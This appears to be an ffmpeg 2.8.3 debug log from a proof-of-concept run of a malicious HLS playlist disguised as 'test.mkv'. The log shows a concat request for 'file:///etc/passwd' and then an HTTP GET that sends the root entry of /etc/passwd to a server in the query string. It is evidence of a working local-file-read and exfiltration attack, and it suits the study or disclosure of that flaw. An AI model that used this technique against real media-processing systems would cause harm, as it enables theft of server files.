ffmpeg version 2.8.3 Copyright (c) 2000-2015 the FFmpeg developers
  built with gcc 4.8 (Ubuntu 4.8.4-2ubuntu1~14.04)
  configuration: --prefix=/opt/ffmpeg --libdir=/opt/ffmpeg/lib/ --enable-shared --enable-avresample --disable-stripping --enable-gpl --enable-version3 --enable-nonfree --enable-runtime-cpudetect --build-suffix=.ffmpeg --enable-postproc --enable-x11grab --enable-avisynth --enable-bzlib --enable-fontconfig --enable-frei0r --enable-gnutls --enable-ladspa --enable-libass --enable-libbluray --enable-libbs2b --enable-libcaca --enable-libcdio --enable-libdc1394 --enable-libfaac --enable-libfdk_aac --enable-libflite --enable-libfreetype --enable-libfribidi --enable-libgme --enable-libgsm --enable-libmodplug --enable-libmp3lame --enable-libopencore-amrnb --enable-libopencore-amrwb --enable-libopus --enable-libpulse --enable-librtmp --enable-libschroedinger --enable-libsoxr --enable-libspeex --enable-libssh --enable-libtheora --enable-libvo-aacenc --enable-libvorbis --enable-libvpx --enable-libwavpack --enable-libwebp --enable-libx264 --enable-libx265 --enable-libkvazaar --enable-libxvid --enable-libzmq --enable-libzvbi --enable-openal --enable-opengl --enable-pthreads --enable-vaapi --enable-vdpau --enable-zlib --enable-debug=3
  libavutil      54. 31.100 / 54. 31.100
  libavcodec     56. 60.100 / 56. 60.100
  libavformat    56. 40.101 / 56. 40.101
  libavdevice    56.  4.100 / 56.  4.100
  libavfilter     5. 40.101 /  5. 40.101
  libavresample   2.  1.  0 /  2.  1.  0
  libswscale      3.  1.101 /  3.  1.101
  libswresample   1.  2.101 /  1.  2.101
  libpostproc    53.  3.100 / 53.  3.100
Splitting the commandline.
Reading option '-v' ... matched as option 'v' (set logging level) with argument 'debug'.
Reading option '-i' ... matched as input file with argument 'test.mkv'.
Reading option 'out.avi' ... matched as output file.
Reading option '-y' ... matched as option 'y' (overwrite output files) with argument '1'.
Finished splitting the commandline.
Parsing a group of options: global .
Applying option v (set logging level) with argument debug.
Applying option y (overwrite output files) with argument 1.
Successfully parsed a group of options.
Parsing a group of options: input file test.mkv.
Successfully parsed a group of options.
Opening an input file: test.mkv.
[hls,applehttp @ 0x215cc20] Format hls,applehttp probed with size=2048 and score=100
[hls,applehttp @ 0x215cc20] HLS request for url 'concat:./header.m3u8|file:///etc/passwd', offset 0, playlist 0
Format hls,applehttp probed with size=2048 and score=100
[AVIOContext @ 0x2163860] Statistics: 2371 bytes read, 0 seeks
[hls,applehttp @ 0x215fa40] HLS request for url 'http://localhost/file540.mp4?root:x:0:0:root:/root:/bin/bash', offset 0, playlist 0
[http @ 0x2163860] request: GET /file540.mp4?root:x:0:0:root:/root:/bin/bash HTTP/1.1
User-Agent: Lavf/56.40.101
Accept: */*
Connection: close
Host: localhost
Icy-MetaData: 1


Format mov,mp4,m4a,3gp,3g2,mj2 probed with size=2048 and score=100
[mov,mp4,m4a,3gp,3g2,mj2 @ 0x2160200] ISO: File Type Major Brand: isom
[mov,mp4,m4a,3gp,3g2,mj2 @ 0x2160200] Before avformat_find_stream_info() pos: 1372035 bytes read:1372035 seeks:0
[mov,mp4,m4a,3gp,3g2,mj2 @ 0x2160200] stream 0, offset 0x30: partial file
[mov,mp4,m4a,3gp,3g2,mj2 @ 0x2160200] Could not find codec parameters for stream 0 (Video: h264, 1 reference frame (avc1 / 0x31637661), none(left), 960x540, 1/25600, 984 kb/s): unspecified pixel format
Consider increasing the value for the 'analyzeduration' and 'probesize' options
[mov,mp4,m4a,3gp,3g2,mj2 @ 0x2160200] After avformat_find_stream_info() pos: 1372035 bytes read:1372035 seeks:0 frames:0
[hls,applehttp @ 0x215fa40] Before avformat_find_stream_info() pos: 2371 bytes read:2371 seeks:0
[mov,mp4,m4a,3gp,3g2,mj2 @ 0x2160200] stream 0, offset 0x30: partial file
[hls,applehttp @ 0x215fa40] Could not find codec parameters for stream 0 (Video: h264, 1 reference frame (avc1 / 0x31637661), none(left), 960x540, 1/25600, 984 kb/s): unspecified pixel format
Consider increasing the value for the 'analyzeduration' and 'probesize' options
[hls,applehttp @ 0x215fa40] After avformat_find_stream_info() pos: 2371 bytes read:2371 seeks:0 frames:0
[hls,applehttp @ 0x215cc20] Before avformat_find_stream_info() pos: 261 bytes read:261 seeks:0
[mov,mp4,m4a,3gp,3g2,mj2 @ 0x2160200] stream 0, offset 0x30: partial file
[hls,applehttp @ 0x215cc20] Could not find codec parameters for stream 0 (Video: h264, 1 reference frame (avc1 / 0x31637661), none(left), 960x540, 1/25600, 984 kb/s): unspecified pixel format
Consider increasing the value for the 'analyzeduration' and 'probesize' options
[hls,applehttp @ 0x215cc20] After avformat_find_stream_info() pos: 261 bytes read:261 seeks:0 frames:0
Input #0, hls,applehttp, from 'test.mkv':
  Duration: 00:00:10.00, bitrate: 0 kb/s
  Program 0
    Metadata:
      variant_bitrate : 0
    Stream #0:0, 0, 1/12800: Video: h264, 1 reference frame (avc1 / 0x31637661), none(left), 960x540, 1/25600, 984 kb/s, 12800 tbr, 12800 tbn, 25600 tbc
    Stream #0:1, 0, 1/48000: Audio: aac (mp4a / 0x6134706D), 48000 Hz, stereo, fltp, 189 kb/s
Successfully opened the file.
Parsing a group of options: output file out.avi.
Successfully parsed a group of options.
Opening an output file: out.avi.
Successfully opened the file.
detected 4 logical cores
[graph 0 input from stream 0:0 @ 0x21739e0] Setting 'video_size' to value '960x540'
[graph 0 input from stream 0:0 @ 0x21739e0] Setting 'pix_fmt' to value '-1'
[buffer @ 0x2173b00] Unable to parse option value "-1" as pixel format
[graph 0 input from stream 0:0 @ 0x21739e0] Setting 'time_base' to value '1/12800'
[graph 0 input from stream 0:0 @ 0x21739e0] Setting 'pixel_aspect' to value '0/1'
[graph 0 input from stream 0:0 @ 0x21739e0] Setting 'sws_param' to value 'flags=2'
[graph 0 input from stream 0:0 @ 0x21739e0] Setting 'frame_rate' to value '25600/2'
[buffer @ 0x2173b00] Unable to parse option value "-1" as pixel format
[buffer @ 0x2173b00] Error setting option pix_fmt to value -1.
[graph 0 input from stream 0:0 @ 0x21739e0] Error applying options to the filter.
Error opening filters!
[AVIOContext @ 0x2182de0] Statistics: 0 seeks, 0 writeouts
[AVIOContext @ 0x21656a0] Statistics: 261 bytes read, 0 seeks